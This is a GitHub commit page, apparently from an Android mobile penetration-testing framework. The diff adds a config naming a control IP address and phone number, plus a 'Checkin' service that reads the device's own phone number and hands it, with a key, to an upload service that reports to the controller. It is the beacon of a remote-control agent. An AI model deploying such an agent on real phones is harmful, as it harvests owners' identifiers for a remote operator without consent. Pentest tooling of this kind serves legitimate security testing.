Permalink
Browse files

updated agent to meet console

  • Loading branch information...
1 parent 75b95e4 commit e41be7b9b14ecd9ab1094050a0bc59eaada5365f @georgiaw committed Nov 30, 2012
@@ -0,0 +1,2 @@
+IPADDRESS=10.0.1.10
+CONTROLPHONENUMBER=15555215554
@@ -0,0 +1,37 @@
+package com.bulbsecurity.framework;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.IBinder;
+import android.telephony.TelephonyManager;
+
+public class Checkin extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ // TODO Auto-generated method stub
+ return null;
+ }
+
+ @Override
+ public void onCreate() {
+ // TODO Auto-generated method stub
+
+ }
+
+ @Override
+ public void onStart(Intent intent, int startID) {
+ Context context = getApplicationContext();
+ String key = ((AndroidAgent)this.getApplication()).getkey();
+ String controlnumber = ((AndroidAgent) this.getApplication()).getcontrolNumber();
+ TelephonyManager num = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
+ String number = num.getLine1Number();
+ String facts = key + "," + number + ",Android," + controlnumber;
+ Intent intent2 = new Intent(getApplicationContext(), WebUploadService.class);
+ intent2.putExtra("uploadstring",facts );
+
+ context.startService(intent2);
+
+ }
+}

0 comments on commit e41be7b

Please sign in to comment.